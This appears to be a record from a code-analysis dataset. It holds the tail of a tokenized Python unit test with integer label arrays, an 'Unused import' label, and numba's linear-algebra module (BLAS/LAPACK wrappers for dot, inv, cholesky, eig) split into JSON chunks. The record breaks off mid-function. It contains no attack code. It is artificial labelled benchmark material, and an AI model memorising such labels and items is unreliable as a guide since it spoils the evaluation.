")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "8", "'_", ",_", "mask_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "no", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mock", "\\u", "check", "\\u", "output_", "._", "return", "\\u", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "interfaces_", "=_", "ifl", "ist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "0_", "]_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 3, 2, 3, 2, 2, 2, 2, 2 ]
Unused import
numba/numba/numba/targets/linalg.py
[ { "content": "\"\"\"\nImplementation of linear algebra operations.\n\"\"\"\n\nfrom __future__ import print_function, absolute_import, division\n\nimport contextlib\n\nfrom llvmlite import ir\nimport numpy\n\n\nfrom numba import jit, types, cgutils\n\nfrom numba.targets.imputils import (lower_builtin, impl_ret_borrowed,\n impl_ret_new_ref, impl_ret_untracked)\nfrom numba.typing import signature\nfrom numba.extending import overload\nfrom numba.numpy_support import version as numpy_version\nfrom numba import types\nfrom .arrayobj import make_array, _empty_nd_impl, array_copy\nfrom ..errors import TypingError\n\nll_char = ir.IntType(8)\nll_char_p = ll_char.as_pointer()\nll_void_p = ll_char_p\nll_intc = ir.IntType(32)\nll_intc_p = ll_intc.as_pointer()\nintp_t = cgutils.intp_t\nll_intp_p = intp_t.as_pointer()\n\n\n_blas_kinds = {\n types.float32: 's',\n types.float64: 'd',\n types.complex64: 'c',\n types.complex128: 'z',\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nfatal_error_sig = types.intc()\nfatal_error_func = types.ExternalFunction(\"numba_fatal_error\", fatal_error_sig)\n\n\nif numpy_version >= (1, 8):\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_blas_kind(dtype, func_name=\"<BLAS function>\"):\n kind = _blas_kinds.get(dtype)\n if kind is None:\n raise TypeError(\"unsupported dtype for %s()\" % (func_name,))\n return kind", "metadata": "root.get_blas_kind", "header": "['module', '___EOS___']", "index": 40 }, { "content": "def ensure_blas():\n try:\n import scipy.linalg.cython_blas\n except ImportError:\n raise ImportError(\"scipy 0.16+ is required for linear algebra\")", "metadata": "root.ensure_blas", "header": "['module', '___EOS___']", "index": 47 }, { "content": "def ensure_lapack():\n try:\n import scipy.linalg.cython_lapack\n except ImportError:\n raise ImportError(\"scipy 0.16+ is required for linear algebra\")", "metadata": "root.ensure_lapack", "header": "['module', '___EOS___']", "index": 54 }, { "content": "def make_constant_slot(context, builder, ty, val):\n const = context.get_constant_generic(builder, ty, val)\n return cgutils.alloca_once_value(builder, const)", "metadata": "root.make_constant_slot", "header": "['module', '___EOS___']", "index": 61 }, { "content": "@contextlib.contextmanager\ndef make_contiguous(context, builder, sig, args):\n \"\"\"\n Ensure that all array arguments are contiguous, if necessary by\n copying them.\n A new (sig, args) tuple is yielded.\n \"\"\"\n newtys = []\n newargs = []\n copies = []\n for ty, val in zip(sig.args, args):\n if not isinstance(ty, types.Array) or ty.layout in 'CF':\n newty, newval = ty, val\n else:\n newty = ty.copy(layout='C')\n copysig = signature(newty, ty)\n newval = array_copy(context, builder, copysig, (val,))\n copies.append((newty, newval))\n newtys.append(newty)\n newargs.append(newval)\n yield signature(sig.return_type, *newtys), tuple(newargs)\n for ty, val in copies:\n context.nrt_decref(builder, ty, val)", "metadata": "root.make_contiguous", "header": "['module', '___EOS___']", "index": 66 }, { "content": "def check_c_int(context, builder, n):\n \"\"\"\n Check whether *n* fits in a C `int`.\n \"\"\"\n _maxint = 2**31 - 1\n\n def impl(n):\n if n > _maxint:\n raise OverflowError(\"array size too large to fit in C int\")\n\n context.compile_internal(builder, impl,\n signature(types.none, types.intp), (n,))", "metadata": "root.check_c_int", "header": "['module', '___EOS___']", "index": 91 }, { "content": "def check_blas_return(context, builder, res):\n \"\"\"\n Check the integer error return from one of the BLAS wrappers in\n _helperlib.c.\n \"\"\"\n with builder.if_then(cgutils.is_not_null(builder, res), likely=False):\n # Those errors shouldn't happen, it's easier to just abort the process\n pyapi = context.get_python_api(builder)\n pyapi.gil_ensure()\n pyapi.fatal_error(\"BLAS wrapper returned with an error\")", "metadata": "root.check_blas_return", "header": "['module', '___EOS___']", "index": 105 }, { "content": "def check_lapack_return(context, builder, res):\n \"\"\"\n Check the integer error return from one of the LAPACK wrappers in\n _helperlib.c.\n \"\"\"\n with builder.if_then(cgutils.is_not_null(builder, res), likely=False):\n # Those errors shouldn't happen, it's easier to just abort the process\n pyapi = context.get_python_api(builder)\n pyapi.gil_ensure()\n pyapi.fatal_error(\"LAPACK wrapper returned with an error\")", "metadata": "root.check_lapack_return", "header": "['module', '___EOS___']", "index": 117 }, { "content": "def call_xxdot(context, builder, conjugate, dtype,\n n, a_data, b_data, out_data):\n \"\"\"\n Call the BLAS vector * vector product function for the given arguments.\n \"\"\"\n fnty = ir.FunctionType(ir.IntType(32),\n [ll_char, ll_char, intp_t, # kind, conjugate, n\n ll_void_p, ll_void_p, ll_void_p, # a, b, out\n ])\n fn = builder.module.get_or_insert_function(fnty, name=\"numba_xxdot\")\n\n kind = get_blas_kind(dtype)\n kind_val = ir.Constant(ll_char, ord(kind))\n conjugate = ir.Constant(ll_char, int(conjugate))\n\n res = builder.call(fn, (kind_val, conjugate, n,\n builder.bitcast(a_data, ll_void_p),\n builder.bitcast(b_data, ll_void_p),\n builder.bitcast(out_data, ll_void_p)))\n check_blas_return(context, builder, res)", "metadata": "root.call_xxdot", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def call_xxgemv(context, builder, do_trans,\n m_type, m_shapes, m_data, v_data, out_data):\n \"\"\"\n Call the BLAS matrix * vector product function for the given arguments.\n \"\"\"\n fnty = ir.FunctionType(ir.IntType(32),\n [ll_char, ll_char_p, # kind, trans\n intp_t, intp_t, # m, n\n ll_void_p, ll_void_p, intp_t, # alpha, a, lda\n ll_void_p, ll_void_p, ll_void_p, # x, beta, y\n ])\n fn = builder.module.get_or_insert_function(fnty, name=\"numba_xxgemv\")\n\n dtype = m_type.dtype\n alpha = make_constant_slot(context, builder, dtype, 1.0)\n beta = make_constant_slot(context, builder, dtype, 0.0)\n\n if m_type.layout == 'F':\n m, n = m_shapes\n lda = m_shapes[0]\n else:\n n, m = m_shapes\n lda = m_shapes[1]\n\n kind = get_blas_kind(dtype)\n kind_val = ir.Constant(ll_char, ord(kind))\n trans = context.insert_const_string(builder.module,\n \"t\" if do_trans else \"n\")\n\n res = builder.call(fn, (kind_val, trans, m, n,\n builder.bitcast(alpha, ll_void_p),\n builder.bitcast(m_data, ll_void_p), lda,\n builder.bitcast(v_data, ll_void_p),\n builder.bitcast(beta, ll_void_p),\n builder.bitcast(out_data, ll_void_p)))\n check_blas_return(context, builder, res)", "metadata": "root.call_xxgemv", "header": "['module', '___EOS___']", "index": 151 }, { "content": "def call_xxgemm(context, builder,\n x_type, x_shapes, x_data,\n y_type, y_shapes, y_data,\n out_type, out_shapes, out_data):\n \"\"\"\n Call the BLAS matrix * matrix product function for the given arguments.\n \"\"\"\n fnty = ir.FunctionType(ir.IntType(32),\n [ll_char, # kind\n ll_char_p, ll_char_p, # transa, transb\n intp_t, intp_t, intp_t, # m, n, k\n ll_void_p, ll_void_p, intp_t, # alpha, a, lda\n ll_void_p, intp_t, ll_void_p, # b, ldb, beta\n ll_void_p, intp_t, # c, ldc\n ])\n fn = builder.module.get_or_insert_function(fnty, name=\"numba_xxgemm\")\n\n m, k = x_shapes\n _k, n = y_shapes\n dtype = x_type.dtype\n alpha = make_constant_slot(context, builder, dtype, 1.0)\n beta = make_constant_slot(context, builder, dtype, 0.0)\n\n trans = context.insert_const_string(builder.module, \"t\")\n notrans = context.insert_const_string(builder.module, \"n\")\n\n def get_array_param(ty, shapes, data):\n return (\n # Transpose if layout different from result's\n notrans if ty.layout == out_type.layout else trans,\n # Size of the inner dimension in physical array order\n shapes[1] if ty.layout == 'C' else shapes[0],\n # The data pointer, unit-less\n builder.bitcast(data, ll_void_p),\n )\n\n transa, lda, data_a = get_array_param(y_type, y_shapes, y_data)\n transb, ldb, data_b = get_array_param(x_type, x_shapes, x_data)\n _, ldc, data_c = get_array_param(out_type, out_shapes, out_data)\n\n kind = get_blas_kind(dtype)\n kind_val = ir.Constant(ll_char, ord(kind))\n\n res = builder.call(fn, (kind_val, transa, transb, n, m, k,\n builder.bitcast(alpha, ll_void_p), data_a, lda,\n data_b, ldb, builder.bitcast(beta, ll_void_p),\n data_c, ldc))\n check_blas_return(context, builder, res)", "metadata": "root.call_xxgemm", "header": "['module', '___EOS___']", "index": 189 }, { "content": "def dot_2_mm(context, builder, sig, args):\n \"\"\"\n np.dot(matrix, matrix)\n \"\"\"\n def dot_impl(a, b):\n m, k = a.shape\n _k, n = b.shape\n out = numpy.empty((m, n), a.dtype)\n return numpy.dot(a, b, out)\n\n res = context.compile_internal(builder, dot_impl, sig, args)\n return impl_ret_new_ref(context, builder, sig.return_type, res)", "metadata": "root.dot_2_mm", "header": "['module', '___EOS___']", "index": 239 }, { "content": "def dot_2_vm(context, builder, sig, args):\n \"\"\"\n np.dot(vector, matrix)\n \"\"\"\n def dot_impl(a, b):\n m, = a.shape\n _m, n = b.shape\n out = numpy.empty((n, ), a.dtype)\n return numpy.dot(a, b, out)\n\n res = context.compile_internal(builder, dot_impl, sig, args)\n return impl_ret_new_ref(context, builder, sig.return_type, res)", "metadata": "root.dot_2_vm", "header": "['module', '___EOS___']", "index": 253 }, { "content": "def dot_2_mv(context, builder, sig, args):\n \"\"\"\n np.dot(matrix, vector)\n \"\"\"\n def dot_impl(a, b):\n m, n = a.shape\n _n, = b.shape\n out = numpy.empty((m, ), a.dtype)\n return numpy.dot(a, b, out)\n\n res = context.compile_internal(builder, dot_impl, sig, args)\n return impl_ret_new_ref(context, builder, sig.return_type, res)", "metadata": "root.dot_2_mv", "header": "['module', '___EOS___']", "index": 267 }, { "content": "def dot_2_vv(context, builder, sig, args, conjugate=False):\n \"\"\"\n np.dot(vector, vector)\n np.vdot(vector, vector)\n \"\"\"\n aty, bty = sig.args\n dtype = sig.return_type\n a = make_array(aty)(context, builder, args[0])\n b = make_array(bty)(context, builder, args[1])\n n, = cgutils.unpack_tuple(builder, a.shape)\n\n def check_args(a, b):\n m, = a.shape\n n, = b.shape\n if m != n:\n raise ValueError(\"incompatible array sizes for np.dot(a, b) \"\n \"(vector * vector)\")\n\n context.compile_internal(builder, check_args,\n signature(types.none, *sig.args), args)\n check_c_int(context, builder, n)\n\n out = cgutils.alloca_once(builder, context.get_value_type(dtype))\n call_xxdot(context, builder, conjugate, dtype, n, a.data, b.data, out)\n return builder.load(out)", "metadata": "root.dot_2_vv", "header": "['module', '___EOS___']", "index": 281 }, { "content": "@lower_builtin(numpy.dot, types.Array, types.Array)\n@lower_builtin('@', types.Array, types.Array)\ndef dot_2(context, builder, sig, args):\n \"\"\"\n np.dot(a, b)\n a @ b\n \"\"\"\n ensure_blas()\n\n with make_contiguous(context, builder, sig, args) as (sig, args):\n ndims = [x.ndim for x in sig.args[:2]]\n if ndims == [2, 2]:\n return dot_2_mm(context, builder, sig, args)\n elif ndims == [2, 1]:\n return dot_2_mv(context, builder, sig, args)\n elif ndims == [1, 2]:\n return dot_2_vm(context, builder, sig, args)\n elif ndims == [1, 1]:\n return dot_2_vv(context, builder, sig, args)\n else:\n assert 0", "metadata": "root.dot_2", "header": "['module', '___EOS___']", "index": 308 }, { "content": "@lower_builtin(numpy.vdot, types.Array, types.Array)\ndef vdot(context, builder, sig, args):\n \"\"\"\n np.vdot(a, b)\n \"\"\"\n ensure_blas()\n\n with make_contiguous(context, builder, sig, args) as (sig, args):\n return dot_2_vv(context, builder, sig, args, conjugate=True)", "metadata": "root.vdot", "header": "['module', '___EOS___']", "index": 331 }, { "content": "def dot_3_vm(context, builder, sig, args):\n \"\"\"\n np.dot(vector, matrix, out)\n np.dot(matrix, vector, out)\n \"\"\"\n xty, yty, outty = sig.args\n assert outty == sig.return_type\n dtype = xty.dtype\n\n x = make_array(xty)(context, builder, args[0])\n y = make_array(yty)(context, builder, args[1])\n out = make_array(outty)(context, builder, args[2])\n x_shapes = cgutils.unpack_tuple(builder, x.shape)\n y_shapes = cgutils.unpack_tuple(builder, y.shape)\n out_shapes = cgutils.unpack_tuple(builder, out.shape)\n if xty.ndim < yty.ndim:\n # Vector * matrix\n # Asked for x * y, we will compute y.T * x\n mty = yty\n m_shapes = y_shapes\n do_trans = yty.layout == 'F'\n m_data, v_data = y.data, x.data\n\n def check_args(a, b, out):\n m, = a.shape\n _m, n = b.shape\n if m != _m:\n raise ValueError(\"incompatible array sizes for \"\n \"np.dot(a, b) (vector * matrix)\")\n if out.shape != (n,):\n raise ValueError(\"incompatible output array size for \"\n \"np.dot(a, b, out) (vector * matrix)\")\n else:\n # Matrix * vector\n # We will compute x * y\n mty = xty\n m_shapes = x_shapes\n do_trans = xty.layout == 'C'\n m_data, v_data = x.data, y.data\n\n def check_args(a, b, out):\n m, _n = a.shape\n n, = b.shape\n if n != _n:\n raise ValueError(\"incompatible array sizes for np.dot(a, b) \"\n \"(matrix * vector)\")\n if out.shape != (m,):\n raise ValueError(\"incompatible output array size for \"\n \"np.dot(a, b, out) (matrix * vector)\")\n\n context.compile_internal(builder, check_args,\n signature(types.none, *sig.args), args)\n for val in m_shapes:\n check_c_int(context, builder, val)\n\n call_xxgemv(context, builder, do_trans, mty, m_shapes, m_data,\n v_data, out.data)\n\n return impl_ret_borrowed(context, builder, sig.return_type,\n out._getvalue())", "metadata": "root.dot_3_vm", "header": "['module', '___EOS___']", "index": 342 }, { "content": "def dot_3_mm(context, builder, sig, args):\n \"\"\"\n np.dot(matrix, matrix, out)\n \"\"\"\n xty, yty, outty = sig.args\n assert outty == sig.return_type\n dtype = xty.dtype\n\n x = make_array(xty)(context, builder, args[0])\n y = make_array(yty)(context, builder, args[1])\n out = make_array(outty)(context, builder, args[2])\n x_shapes = cgutils.unpack_tuple(builder, x.shape)\n y_shapes = cgutils.unpack_tuple(builder, y.shape)\n out_shapes = cgutils.unpack_tuple(builder, out.shape)\n m, k = x_shapes\n _k, n = y_shapes\n\n # The only case Numpy supports\n assert outty.layout == 'C'\n\n def check_args(a, b, out):\n m, k = a.shape\n _k, n = b.shape\n if k != _k:\n raise ValueError(\"incompatible array sizes for np.dot(a, b) \"\n \"(matrix * matrix)\")\n if out.shape != (m, n):\n raise ValueError(\"incompatible output array size for \"\n \"np.dot(a, b, out) (matrix * matrix)\")\n\n context.compile_internal(builder, check_args,\n signature(types.none, *sig.args), args)\n check_c_int(context, builder, m)\n check_c_int(context, builder, k)\n check_c_int(context, builder, n)\n\n x_data = x.data\n y_data = y.data\n out_data = out.data\n\n # Check whether any of the operands is really a 1-d vector represented\n # as a (1, k) or (k, 1) 2-d array. In those cases, it is pessimal\n # to call the generic matrix * matrix product BLAS function.\n one = ir.Constant(intp_t, 1)\n is_left_vec = builder.icmp_signed('==', m, one)\n is_right_vec = builder.icmp_signed('==', n, one)\n\n with builder.if_else(is_right_vec) as (r_vec, r_mat):\n with r_vec:\n with builder.if_else(is_left_vec) as (v_v, m_v):\n with v_v:\n # V * V\n call_xxdot(context, builder, False, dtype,\n k, x_data, y_data, out_data)\n with m_v:\n # M * V\n do_trans = xty.layout == outty.layout\n call_xxgemv(context, builder, do_trans,\n xty, x_shapes, x_data, y_data, out_data)\n with r_mat:\n with builder.if_else(is_left_vec) as (v_m, m_m):\n with v_m:\n # V * M\n do_trans = yty.layout != outty.layout\n call_xxgemv(context, builder, do_trans,\n yty, y_shapes, y_data, x_data, out_data)\n with m_m:\n # M * M\n call_xxgemm(context, builder,\n xty, x_shapes, x_data,\n yty, y_shapes, y_data,\n outty, out_shapes, out_data)\n\n return impl_ret_borrowed(context, builder, sig.return_type,\n out._getvalue())", "metadata": "root.dot_3_mm", "header": "['module', '___EOS___']", "index": 404 }, { "content": "@lower_builtin(numpy.dot, types.Array, types.Array,\n types.Array)\ndef dot_3(context, builder, sig, args):\n \"\"\"\n np.dot(a, b, out)\n \"\"\"\n ensure_blas()\n\n with make_contiguous(context, builder, sig, args) as (sig, args):\n ndims = set(x.ndim for x in sig.args[:2])\n if ndims == set([2]):\n return dot_3_mm(context, builder, sig, args)\n elif ndims == set([1, 2]):\n return dot_3_vm(context, builder, sig, args)\n else:\n assert 0", "metadata": "root.dot_3", "header": "['module', '___EOS___']", "index": 481 }, { "content": "def call_xxgetrf(context, builder, a_type, a_shapes, a_data, ipiv, info):\n \"\"\"\n Call the LAPACK gettrf function for the given argument.\n\n This function computes the LU decomposition of a matrix.\n \"\"\"\n # XXX for ipiv, we are assuming a Fortran (LAPACK) int is the same size\n # as a C int.\n fnty = ir.FunctionType(ll_intc,\n [ll_char, # kind\n intp_t, intp_t, # m, n\n ll_void_p, intp_t, # a, lda\n ll_intc_p, ll_intp_p, # ipiv, info\n ])\n\n fn = builder.module.get_or_insert_function(fnty, name=\"numba_xxgetrf\")\n\n kind = get_blas_kind(a_type.dtype)\n kind_val = ir.Constant(ll_char, ord(kind))\n\n if a_type.layout == 'F':\n m, n = a_shapes\n lda = a_shapes[0]\n else:\n n, m = a_shapes\n lda = a_shapes[1]\n\n res = builder.call(fn, (kind_val, m, n,\n builder.bitcast(a_data, ll_void_p), lda,\n ipiv, info\n ))\n check_lapack_return(context, builder, res)", "metadata": "root.call_xxgetrf", "header": "['module', '___EOS___']", "index": 499 }, { "content": "def call_xxgetri(context, builder, a_type, a_shapes, a_data, ipiv, work,\n lwork, info):\n \"\"\"\n Call the LAPACK gettri function for the given argument.\n\n This function computes the inverse of a matrix given its LU decomposition.\n \"\"\"\n fnty = ir.FunctionType(ll_intc,\n [ll_char, # kind\n intp_t, ll_void_p, intp_t, # n, a, lda\n ll_intc_p, ll_void_p, # ipiv, work\n ll_intc_p, ll_intp_p, # lwork, info\n ])\n fn = builder.module.get_or_insert_function(fnty, name=\"numba_xxgetri\")\n\n kind = get_blas_kind(a_type.dtype)\n kind_val = ir.Constant(ll_char, ord(kind))\n\n n = lda = a_shapes[0]\n\n res = builder.call(fn, (kind_val, n,\n builder.bitcast(a_data, ll_void_p), lda,\n ipiv, builder.bitcast(work, ll_void_p),\n lwork, info\n ))\n check_lapack_return(context, builder, res)", "metadata": "root.call_xxgetri", "header": "['module', '___EOS___']", "index": 533 }, { "content": "def mat_inv(context, builder, sig, args):\n \"\"\"\n Invert a matrix through the use of its LU decomposition.\n \"\"\"\n xty = sig.args[0]\n dtype = xty.dtype\n\n x = make_array(xty)(context, builder, args[0])\n x_shapes = cgutils.unpack_tuple(builder, x.shape)\n m, n = x_shapes\n check_c_int(context, builder, m)\n check_c_int(context, builder, n)\n\n # Allocate the return array (Numpy never works in place contrary to\n # Scipy for which one can specify to whether or not to overwrite the\n # input).\n def create_out(a):\n m, n = a.shape\n if m != n:\n raise numpy.linalg.LinAlgError(\"Last 2 dimensions of \"\n \"the array must be square.\")\n return a.copy()\n\n out = context.compile_internal(builder, create_out,\n signature(sig.return_type, *sig.args), args)\n o = make_array(xty)(context, builder, out)\n\n # Allocate the array in which the pivot indices are stored.\n ipiv_t = types.Array(types.intc, 1, 'C')\n i = _empty_nd_impl(context, builder, ipiv_t, (m,))\n ipiv = i._getvalue()\n\n info = cgutils.alloca_once(builder, intp_t)\n\n # Compute the LU decomposition of the matrix.\n call_xxgetrf(context, builder, xty, x_shapes, o.data, i.data,\n info)\n\n info_val = builder.load(info)\n zero = info_val.type(0)\n lapack_error = builder.icmp_signed('!=', info_val, zero)\n invalid_arg = builder.icmp_signed('<', info_val, zero)\n\n with builder.if_then(lapack_error, False):\n context.nrt_decref(builder, ipiv_t, ipiv)\n with builder.if_else(invalid_arg) as (then, otherwise):\n raise_err = context.call_conv.return_user_exc\n with then:\n raise_err(builder, ValueError,\n ('One argument passed to getrf is invalid',)\n )\n with otherwise:\n raise_err(builder, ValueError,\n ('Matrix is singular and cannot be inverted',)\n )\n\n # Compute the optimal lwork.\n lwork = make_constant_slot(context, builder, types.intc, -1)\n work = cgutils.alloca_once(builder, context.get_value_type(xty.dtype))\n call_xxgetri(context, builder, xty, x_shapes, o.data, i.data, work,\n lwork, info)\n\n info_val = builder.load(info)\n lapack_error = builder.icmp_signed('!=', info_val, zero)\n\n with builder.if_then(lapack_error, False):\n context.nrt_decref(builder, ipiv_t, ipiv)\n raise_err = context.call_conv.return_user_exc\n raise_err(builder, ValueError,\n ('One argument passed to getri is invalid',)\n )\n\n # Allocate a work array of the optimal size as computed by getri.\n def allocate_work(x, size):\n \"\"\"Allocate the work array.\n\n \"\"\"\n size = int(1.01 * size.real)\n return numpy.empty((size,), dtype=x.dtype)\n\n wty = types.Array(dtype, 1, 'C')\n work = context.compile_internal(builder, allocate_work,\n signature(wty, xty, dtype),\n (args[0], builder.load(work)))\n\n w = make_array(wty)(context, builder, work)\n w_shapes = cgutils.unpack_tuple(builder, w.shape)\n lw, = w_shapes\n\n builder.store(context.cast(builder, lw, types.intp, types.intc),\n lwork)\n\n # Compute the matrix inverse.\n call_xxgetri(context, builder, xty, x_shapes, o.data, i.data, w.data,\n lwork, info)\n\n info_val = builder.load(info)\n lapack_error = builder.icmp_signed('!=', info_val, zero)\n invalid_arg = builder.icmp_signed('<', info_val, zero)\n\n context.nrt_decref(builder, wty, work)\n context.nrt_decref(builder, ipiv_t, ipiv)\n\n with builder.if_then(lapack_error, False):\n with builder.if_else(invalid_arg) as (then, otherwise):\n raise_err = context.call_conv.return_user_exc\n with then:\n raise_err(builder, ValueError,\n ('One argument passed to getri is invalid',)\n )\n with otherwise:\n raise_err(builder, ValueError,\n ('Matrix is singular and cannot be inverted',)\n )\n\n return impl_ret_new_ref(context, builder, sig.return_type, out)", "metadata": "root.mat_inv", "header": "['module', '___EOS___']", "index": 561 }, { "content": "@lower_builtin(numpy.linalg.inv, types.Array)\ndef inv(context, builder, sig, args):\n \"\"\"\n np.linalg.inv(a)\n \"\"\"\n ensure_lapack()\n\n ndims = sig.args[0].ndim\n if ndims == 2:\n return mat_inv(context, builder, sig, args)\n else:\n assert 0", "metadata": "root.inv", "header": "['module', '___EOS___']", "index": 679 }, { "content": " @jit(nopython=True)\n def _check_finite_matrix(a):\n for v in numpy.nditer(a):\n if not numpy.isfinite(v.item()):\n raise numpy.linalg.LinAlgError(\n \"Array must not contain infs or NaNs.\")", "metadata": "root._check_finite_matrix", "header": "['module', '___EOS___']", "index": 699 }, { "content": " def _check_linalg_matrix(a, func_name):\n if not isinstance(a, types.Array):\n raise TypingError(\"np.linalg.%s() only supported for array types\"\n % func_name)\n if not a.ndim == 2:\n raise TypingError(\"np.linalg.%s() only supported on 2-D arrays.\"\n % func_name)\n if not isinstance(a.dtype, (types.Float, types.Complex)):\n raise TypingError(\"np.linalg.%s() only supported on \"\n \"float and complex arrays.\" % func_name)", "metadata": "root._check_linalg_matrix", "header": "['module', '___EOS___']", "index": 706 }, { "content": " @overload(numpy.linalg.cholesky)\n def cho_impl(a):\n ensure_lapack()\n\n _check_linalg_matrix(a, \"cholesky\")\n\n xxpotrf_sig = types.intc(types.int8, types.int8, types.intp,\n types.CPointer(a.dtype), types.intp)\n xxpotrf = types.ExternalFunction(\"numba_xxpotrf\", xxpotrf_sig)\n\n kind = ord(get_blas_kind(a.dtype, \"cholesky\"))\n UP = ord('U')\n LO = ord('L')\n\n def cho_impl(a):\n n = a.shape[-1]\n if a.shape[-2] != n:\n msg = \"Last 2 dimensions of the array must be square.\"\n raise numpy.linalg.LinAlgError(msg)\n\n # The output is allocated in C order\n out = a.copy()\n # Pass UP since xxpotrf() operates in F order\n # The semantics ensure this works fine\n # (out is really its Hermitian in F order, but UP instructs\n # xxpotrf to compute the Hermitian of the upper triangle\n # => they cancel each other)\n r = xxpotrf(kind, UP, n, out.ctypes, n)\n if r < 0:\n fatal_error_func()\n assert 0 # unreachable\n if r > 0:\n raise numpy.linalg.LinAlgError(\n \"Matrix is not positive definite.\")\n # Zero out upper triangle, in F order\n for col in range(n):\n out[:col, col] = 0\n return out\n\n return cho_impl", "metadata": "root.cho_impl", "header": "['module', '___EOS___']", "index": 717 }, { "content": " @overload(numpy.linalg.eig)\n def eig_impl(a):\n ensure_lapack()\n\n _check_linalg_matrix(a, \"eig\")\n\n numba_ez_rgeev_sig = types.intc(types.char, # kind\n types.char, # jobvl\n types.char, # jobvr\n types.intp, # n\n types.CPointer(a.dtype), # a\n types.intp, # lda\n types.CPointer(a.dtype), # wr\n types.CPointer(a.dtype), # wi\n types.CPointer(a.dtype), # vl\n types.intp, # ldvl\n types.CPointer(a.dtype), # vr\n types.intp # ldvr\n )\n\n numba_ez_rgeev = types.ExternalFunction(\"numba_ez_rgeev\",\n numba_ez_rgeev_sig)\n\n numba_ez_cgeev_sig = types.intc(types.char, # kind\n types.char, # jobvl\n types.char, # jobvr\n types.intp, # n\n types.CPointer(a.dtype), # a\n types.intp, # lda\n types.CPointer(a.dtype), # w\n types.CPointer(a.dtype), # vl\n types.intp, # ldvl\n types.CPointer(a.dtype), # vr\n types.intp # ldvr\n )\n\n numba_ez_cgeev = types.ExternalFunction(\"numba_ez_cgeev\",\n numba_ez_cgeev_sig)\n\n kind = ord(get_blas_kind(a.dtype, \"eig\"))\n\n JOBVL = ord('N')\n JOBVR = ord('V')\n\n F_layout = a.layout == 'F'\n\n def real_eig_impl(a):\n \"\"\"\n eig() implementation for real arrays.\n \"\"\"\n n = a.shape[-1]\n if a.shape[-2] != n:\n msg = \"Last 2 dimensions of the array must be square.\"\n raise numpy.linalg.LinAlgError(msg)\n\n _check_finite_matrix(a)\n\n if F_layout:\n acpy = numpy.copy(a)\n else:\n acpy = numpy.asfortranarray(a)\n\n ldvl = 1\n ldvr = n\n wr = numpy.empty(n, dtype=a.dtype)\n wi = numpy.empty(n, dtype=a.dtype)\n vl = numpy.empty((ldvl, n), dtype=a.dtype)\n vr = numpy.empty((ldvr, n), dtype=a.dtype)\n\n r = numba_ez_rgeev(kind,\n JOBVL,\n JOBVR,\n n,\n acpy.ctypes,\n n,\n wr.ctypes,\n wi.ctypes,\n vl.ctypes,\n ldvl,\n vr.ctypes,\n ldvr)\n if r < 